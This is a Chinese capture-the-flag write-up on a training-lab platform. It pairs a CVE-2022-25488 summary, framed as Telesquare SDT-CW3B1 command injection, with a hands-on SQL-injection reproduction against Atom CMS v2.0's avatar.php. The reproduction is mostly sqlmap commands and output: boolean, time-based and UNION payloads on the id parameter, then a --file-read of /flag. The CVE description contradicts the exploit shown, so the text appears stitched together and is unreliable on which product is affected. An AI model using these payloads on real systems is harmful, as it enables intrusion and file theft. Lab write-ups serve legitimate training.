前言
CVE-2022-25488 是一個發現于 Telesquare SDT-CW3B1 設備中的命令注入漏洞。這一漏洞可以被未經認證的遠程攻擊者利用,通過特殊構造的 HTTP 請求在設備上執行任意命令。以下是關于該漏洞的詳細信息:
漏洞詳細信息
- 漏洞編號: CVE-2022-25488
- 影響范圍: Telesquare SDT-CW3B1 設備的特定版本
- 描述: 該漏洞是由于輸入處理不當造成的,攻擊者可以通過在 HTTP 請求中注入惡意命令來利用這一漏洞。這些命令將在設備的操作系統中執行,可能導致設備完全被攻擊者控制。
- 攻擊向量: 遠程,未經認證的攻擊者可以通過網絡利用此漏洞。
攻擊步驟
- 發送惡意 HTTP 請求: 攻擊者構造一個特定的 HTTP 請求,包含惡意命令。
- 命令注入: 由于設備在處理請求時未正確驗證輸入,惡意命令被注入并在設備上執行。
- 控制設備: 成功利用漏洞后,攻擊者可以在設備上執行任意命令,可能導致數據泄露、設備中斷或進一步的網絡攻擊。
影響
- 機密性: 高。攻擊者可以訪問和泄露設備上的敏感數據。
- 完整性: 高。攻擊者可以修改或破壞設備上的數據。
- 可用性: 高。攻擊者可以使設備無法正常工作。
緩解措施
- 固件更新: 制造商發布補丁或固件更新以修復此漏洞。用戶應及時更新設備固件。
- 網絡安全措施: 在網絡邊界實施防火墻和入侵檢測系統,監控和阻止可疑的網絡流量。
- 輸入驗證: 開發人員應確保在處理用戶輸入時進行嚴格的驗證和過濾,防止命令注入攻擊。
- 最小權限原則: 設備應配置為僅允許必要的權限,減少被利用的風險。
總結
CVE-2022-25488 是一個嚴重的命令注入漏洞,攻擊者可以通過網絡遠程利用該漏洞,在受影響的 Telesquare SDT-CW3B1 設備上執行任意命令。用戶應盡快采取措施,更新設備固件并實施必要的安全防護措施,以防止潛在的攻擊。
春秋云鏡靶場是一個專注于網絡安全培訓和實戰演練的平臺,旨在通過模擬真實的網絡環境和攻擊場景,提升用戶的網絡安全防護能力和實戰技能。這個平臺主要提供以下功能和特點:
實戰演練:
提供各種網絡安全攻防演練場景,模擬真實的網絡攻擊事件,幫助用戶在實際操作中掌握網絡安全技術。
場景涵蓋Web安全、系統安全、網絡安全、社工攻擊等多個領域。
漏洞復現:
用戶可以通過平臺對已知的安全漏洞進行復現,了解漏洞的產生原因、利用方法和修復措施。
通過實戰操作,幫助用戶掌握漏洞利用和防護的技能。
教學培訓:
提供系統化的網絡安全課程,從基礎到高級,覆蓋多個安全領域,適合不同水平的用戶。
包含理論講解和實戰操作,幫助學員全面提升網絡安全知識和實戰能力。
競賽與評測:
定期舉辦網絡安全競賽,如CTF(Capture The Flag)比賽,激發學員的學習興趣和動力。
提供個人和團隊的安全能力評測,幫助學員了解自己的安全技能水平。
資源共享:
平臺提供豐富的學習資源,包括教程、工具、案例分析等,方便用戶隨時查閱和學習。
用戶可以在社區中分享經驗和資源,互相交流和學習。
春秋云鏡靶場適合網絡安全從業人員、學生以及對網絡安全感興趣的個人,通過在平臺上進行不斷的學習和實戰演練,可以有效提升網絡安全技能和防護能力。
介紹
Atom CMS v2.0 是一款內容管理系統,用于創建和管理網站內容。以下是關于 Atom CMS v2.0 的詳細介紹:
概述
Atom CMS v2.0 是一個開源的內容管理系統,采用 PHP 和 MySQL 構建,旨在提供一個簡單易用的平臺,用于網站內容的創建、編輯和管理。該系統主要面向小型網站和博客,提供了豐富的功能以滿足基本的內容管理需求。
主要功能
-
用戶管理:
- 支持用戶注冊和登錄。
- 角色和權限管理,區分管理員和普通用戶。
- 用戶資料編輯和密碼管理。
-
文章管理:
- 創建、編輯和刪除文章。
- 支持文章分類和標簽。
- 支持富文本編輯器,便于格式化內容。
-
媒體管理:
- 上傳和管理圖片、視頻等多媒體文件。
- 支持媒體文件的插入和刪除。
-
評論系統:
- 用戶可以對文章進行評論。
- 管理員可以審核和刪除不當評論。
-
SEO 優化:
- 自定義文章的標題、描述和關鍵詞。
- 自動生成友好的 URL。
-
主題和插件:
- 支持自定義主題,用戶可以根據需要更改網站的外觀。
- 支持插件擴展功能,增加系統的靈活性。
安全特性
- 輸入驗證:對用戶輸入進行嚴格驗證,防止 SQL 注入和跨站腳本攻擊(XSS)。
- 密碼加密:用戶密碼采用加密存儲,提高賬戶安全性。
- 權限控制:細粒度的權限控制,確保用戶只能訪問授權的資源。
使用場景
- 個人博客:適合個人博客的創建和管理,提供基本的文章發布和評論功能。
- 小型企業網站:適合小型企業展示產品和服務,提供簡單的內容管理功能。
- 教育網站:適合教育機構發布課程信息和新聞公告。
安裝和配置
- 下載源碼:從官方網站或 GitHub 下載最新版本的 Atom CMS v2.0 源碼。
- 環境配置:確保服務器環境支持 PHP 和 MySQL,推薦使用 Apache 或 Nginx 服務器。
- 數據庫配置:創建 MySQL 數據庫,并導入初始數據表。
- 配置文件:修改配置文件,設置數據庫連接信息和基本站點信息。
- 安裝向導:通過瀏覽器訪問安裝向導,完成系統安裝。
漏洞復現
打開靶場
直接訪問則是 404
跟上題目的路徑查看卻是空白
刪除 avatar.php 文件發現能看到整個目錄?
查看其他文件得到報錯信息
得到一個參數 id,使用 SQLMap 跟上試試
┌──(root?kali)-[~]
└─# sqlmap -u "http://eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=1"_____H_____ ___["]_____ ___ ___ {1.8.4#stable}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _||_|V... |_| https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 20:34:46 /2024-06-30/[20:34:47] [INFO] testing connection to the target URL
[20:34:47] [INFO] checking if the target is protected by some kind of WAF/IPS
[20:34:47] [INFO] testing if the target URL content is stable
[20:34:47] [INFO] target URL content is stable
[20:34:47] [INFO] testing if GET parameter 'id' is dynamic
[20:34:47] [INFO] GET parameter 'id' appears to be dynamic
[20:34:47] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[20:34:47] [INFO] testing for SQL injection on GET parameter 'id'
[20:34:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:34:48] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[20:34:49] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[20:34:52] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[20:34:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[20:34:52] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[20:34:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[20:34:52] [INFO] testing 'Generic inline queries'
[20:34:52] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[20:34:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[20:34:53] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[20:34:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[20:35:03] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[20:35:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:35:03] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:35:03] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[20:35:03] [INFO] target URL appears to have 1 column in query
[20:35:03] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 48 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1 AND 4748=4748Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1 AND (SELECT 5831 FROM (SELECT(SLEEP(5)))vnsO)Type: UNION queryTitle: Generic UNION query (NULL) - 1 columnPayload: id=-9618 UNION ALL SELECT CONCAT(0x717a6b6b71,0x766c6652456c5a5861757461574161674d615374504a4e4e596861634252687778654452657a4b6d,0x7170717671)-- -
---
[20:35:05] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[20:35:05] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com'[*] ending @ 20:35:05 /2024-06-30/
很好,接下來就是熟悉的找 flag 了
┌──(root?kali)-[~]
└─# sqlmap -u "http://eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=1" -D "mysql" --file-read "/flag"_____H_____ ___[.]_____ ___ ___ {1.8.4#stable}
|_ -| . [,] | .'| . |
|___|_ [)]_|_|_|__,| _||_|V... |_| https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 20:39:30 /2024-06-30/[20:39:30] [INFO] resuming back-end DBMS 'mysql'
[20:39:30] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1 AND 4748=4748Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1 AND (SELECT 5831 FROM (SELECT(SLEEP(5)))vnsO)Type: UNION queryTitle: Generic UNION query (NULL) - 1 columnPayload: id=-9618 UNION ALL SELECT CONCAT(0x717a6b6b71,0x766c6652456c5a5861757461574161674d615374504a4e4e596861634252687778654452657a4b6d,0x7170717671)-- -
---
[20:39:30] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[20:39:30] [INFO] fingerprinting the back-end DBMS operating system
[20:39:30] [INFO] the back-end DBMS operating system is Linux
[20:39:30] [INFO] fetching file: '/flag'
do you want confirmation that the remote file '/flag' has been successfully downloaded from the back-end DBMS file system? [Y/n] n
files saved to [1]:
[*] /root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/files/_flag[20:39:32] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com'[*] ending @ 20:39:32 /2024-06-30/┌──(root?kali)-[~]
└─# cat /root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/files/_flag
flag{810e4de0-b64a-4124-bddf-3554d6e60d15}